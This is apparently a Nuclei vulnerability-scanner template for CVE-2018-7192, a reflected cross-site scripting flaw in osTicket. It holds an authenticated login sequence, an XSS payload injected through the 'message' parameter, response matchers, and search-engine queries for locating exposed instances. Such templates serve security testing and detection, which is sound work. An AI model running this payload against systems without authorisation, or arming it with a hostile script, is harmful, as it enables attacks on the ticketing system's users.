75 lines
2.6 KiB
YAML
75 lines
2.6 KiB
YAML
id: CVE-2018-7192
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info:
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name: osTicket < 1.10.2 - Cross-Site Scripting
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author: ritikchaddha
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severity: medium
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description: |
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Cross-site scripting (XSS) vulnerability in /ajax.php/form/help-topic in Enhancesoft osTicket before 1.10.2 allows remote attackers to inject arbitrary web script or HTML via the "message" parameter.
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
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remediation: |
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Upgrade osTicket to later version to mitigate this vulnerability.
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reference:
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- https://blog.securityevaluators.com/vulnerabilities-found-in-popular-ticketing-system-dd273bda229c
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- https://nvd.nist.gov/vuln/detail/CVE-2018-7192
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classification:
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cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2018-7192
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cwe-id: CWE-79
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epss-score: 0.00172
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epss-percentile: 0.54693
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cpe: cpe:2.3:a:osticket:osticket:*:*:*:*:*:*:*:*
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metadata:
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max-request: 3
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vendor: osticket
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product: osticket
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shodan-query: title:"osTicket"
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fofa-query: title="osticket"
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google-query: intitle:"osticket"
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tags: cve,cve2018,osticket,xss,authenticated
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flow: http(1) && http(2)
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http:
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- raw:
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- |
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GET /scp/login.php HTTP/1.1
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Host: {{Hostname}}
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matchers:
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- type: dsl
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dsl:
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- 'contains(tolower(body), "osticket")'
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internal: true
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extractors:
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- type: regex
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name: csrftoken
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part: body
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group: 1
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regex:
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- '__CSRFToken__" value="(.*?)"'
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internal: true
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- raw:
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- |
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POST /scp/login.php HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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__CSRFToken__={{csrftoken}}&do=scplogin&userid={{username}}&passwd={{password}}&ajax=1
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- |
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GET /ajax.php/form/help-topic/1?a934f512c6644b03=&message=dgh7r%20onmouseover%3dalert(document.domain)%20style%3dposition%3aabsolute%3bwidth%3a100%25%3bheight%3a100%25%3btop%3a0%3bleft%3a0%3b%20qavj5 HTTP/1.1
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Host: {{Hostname}}
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matchers:
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- type: dsl
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dsl:
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- 'contains(body, "dgh7r onmouseover=alert(document.domain) style=position:")'
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- 'contains(header, "text/html")'
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- 'status_code == 200'
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condition: and
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# digest: 4a0a004730450221009ec71e04f5587f9555c3a6455856fe0707c97016bf732bb2d32d3820c3c849990220474b01d82393e9e7e06e06b45821eebf52976c16c985bafab24e31a373fe90e5:922c64590222798bb761d5b6d8e72950 |